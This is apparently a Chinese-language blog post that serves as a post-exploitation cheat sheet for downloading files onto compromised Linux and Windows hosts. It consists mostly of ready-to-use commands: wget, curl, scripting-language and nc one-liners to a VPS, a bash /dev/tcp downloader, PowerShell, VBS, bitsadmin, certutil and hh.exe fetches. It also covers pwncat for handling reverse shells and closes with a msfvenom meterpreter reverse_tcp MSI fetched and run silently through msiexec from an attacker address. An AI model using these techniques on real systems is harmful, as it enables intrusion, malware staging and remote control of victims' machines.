后渗透文件下载

Linux

wget

1
wget http://ip:port/文件

curl

curl命令除了用于访问网站也可以用于下载文件,用法为:

1
curl -O http://ip:port/文件

php

1
php -r "file_put_contents('保存到本地的路径', fopen('远程文件的URL', 'r'));"

python

如果你拿到shell的是一个python的站,可以用python执行代码实现文件下载:

1
python -c "import urllib.request;urllib.request.urlretrieve('远程文件的URL', '保存到本地的路径')"

ruby

1
ruby -e "require 'open-uri'; open('远程文件的URL') {|f| File.open('保存到本地的路径', 'wb') {|file| file.puts f.read} }"

perl

1
perl -e "use LWP::Simple; getstore('远程文件的URL', '保存到本地的路径')"

nc

如果想从外网向目标服务器上传数据,首先在vps上开启

1
nc -lvvp 1234 < test.txt

然后在目标服务器上输入

1
nc VPS_IP 1234 > test.txt

自定义Linux函数

linux里可以把一些重复使用的命令封装成一个集合,之后可以使用函数名调用,因此我们可以自己写一个download函数,大概原理就是使用/dev/tcp设备文件与服务器建立TCP连接,并发送HTTP请求获取文件内容,最后将文件内容打印到标准输出,最后把输出重定向就可以获得文件了。在命令行输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
function DOWNLOAD() {

url=$1

proto="http://"

host=${url/$proto/}

server=${host%%/*}

path=${host#*/}

DOC=/${path// /}

HOST=${server/:*/}



PORT=${server/*:/}

[[ -n ${PORT} ]] || PORT=80

PORT=$(( PORT + 0 ))



exec 3<>/dev/tcp/${HOST}/${PORT}

echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3

while IFS= read -r line ; do

[[ "${line}" == $'\r' ]] && break

done <&3

nul='\0'

while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do

printf "%s${nul}" "${x}"

done <&3

exec 3>&-

}

直接复制粘贴到shell环境中然后接着输入

1
DOWNLOAD http://url:port/fscan >fscan

pwncat

这个工具也是看的其他师傅博客了解到的工具确实好用我直接复制粘贴了他的

pwncat是一款功能强大的反向Shell&BindShell处理工具,同时也是一个主要针对Linux系统为测试目标的后渗透漏洞利用开发平台,最近开发者已经加入了对windows系统的支持。

pwncat可以用于代替nc进行反弹shell的接收,pwncat可以拦截与远程shell的原始通信,并允许用户在远程主机上执行自动化操作,包括枚举、植入安装甚至权限升级。同时,pwncat还会自动优化shell,包括但不限于:

  • 在远程 shell 中禁用历史记录
  • 规范化 shell 提示符
  • 寻找有用的二进制文件
  • 尝试生成一个伪终端(pty)以进行完整的交互式会话

pwncat官方出了操作文档:https://pwncat.readthedocs.io/en/latest/commands/download.html,里面介绍了一些插件功能:

  • Alias:命令取别名
  • Back:从pwncat返回远程shell(按ctrl D可以从远程shell返回pwncat)
  • Bind:绑定命令
  • Connect:建立 pwncat 会话,实现反向和绑定 shell 的通信通道
  • Download:通过利用 gtfobins框架定位受害主机上的文件读取器并通过管道将内容写回来实现文件读取
  • Escalate:用于提权
  • lcd:更改pwncat实例的本地工作目录
  • load:从python包加载自定义pwncat模块
  • Listen:创建一个新的后台侦听器以通过反向 shell 负载异步建立会话
  • Listeners:管理活动和停止的侦听器
  • lpwd:打印当前本地工作目录
  • run:访问pwncat模块
  • Info:获取指定模块的文档/帮助信息
  • Search:搜索模块
  • Use:进入模块的上下文
  • Upload:通过gtfobins模块枚举远程主机上可打印或者可写二进制数据的本地文件以实现文件的上传,好处是上传通过与shell相同的连接进行,不需要格外的连接。

因此pwncat里有现成的文件上传插件以及一堆其他好用的功能,用于代替nc接收反弹的shell非常方便

下载路径:https://github.com/calebstewart/pwncat

安装

1
pip install pwncat-cs

然后在终端输入

1
pwn-cs -lp  1234 

这样就可以监听了,然后收到shell之后会进入到pwncat终端模式这时候想要回到shell模式只需输入back就行

按ctrl D可以从远程shell返回pwncat,下面就来试试如何下载一个文件

1
download /root/s.sh ./sh

上传一个文件

1
upload ./s.sh /root/s.sh

msf

msf 获取shell之后可以上传和下载文件参考
https://blog.csdn.net/weixin_43847838/article/details/127623761

windows

powershell

1
$p = new-object system.net.webclient  $p.downloadfile("http://xx.xx.xx.xx\file","c:\xxx\xx\file")|

vbs

1
2
3
4
5
6
7
8
9
10
11
12
Set args = Wscript.Arguments  
Url = "http://192.168.43.68:8000/1.py"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile " C:\users\pino\file\1.py", 2 '
end with

把这段脚本保存为test.vbs然后运行

1
cscript test.vbs

FTP

这个需要攻击者开启一个ftp服务,然后在目标服务器上直接

1
2
3
ftp ip 

get file

bitsadmin

第一种

1
bitsadmin /transfer myjob1 /download /priority normal http://192.168.109.128/test/test.txt C:\Users\baji\Desktop\test.txt

第二种

1
bitsadmin /rawreturn /transfer getfile http://192.168.1.103/test/test.txt C:\Users\snowwolf\Desktop\test.txt

第三种

1
bitsadmin /rawreturn /transfer getpayload http://192.168.1.103/test/test.txt C:\Users\snowwolf\Desktop\test.txt

第四种

1
bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.1.103/test/test.txt" "C:\Users\snowwolf\Desktop\test.txt"

Certuil

1
certutil.exe -urlcache -split -f http://192.168.1.103/test/test.exe test.exe

hh.exe

1
hh.exe http://192.168.1.103/test/test.txt

下载的文件是以html的方式进行打开,但是如果是应用程序的话发现就可以做到下载的效果

Msiexec.exe

系统进程,用于安装MSI,一般更新或者安装软件时会碰到,支持远程下载功能
先在Kali Linux端生成MSI文件,输入命令:

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.103 lport=7777 -f msi > test.msi

此时在msf中开启监听

然后在windows下载msi文件,因为msi具有下载执行的特性所以会直接拿到会话

1
msiexec.exe /q /i http://192.168.1.103/test.msi

就先记录这些。
参考文章
https://fushuling.com/index.php/2023/10/21/%E5%90%8E%E6%B8%97%E9%80%8F%E4%B9%8B%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BDlinux%E7%AF%87/
https://www.freebuf.com/articles/network/246353.html
https://pino-hd.github.io/2018/06/10/%E6%B8%97%E9%80%8F%E4%B8%AD15%E7%A7%8D%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E7%9A%84%E6%96%B9%E6%B3%95/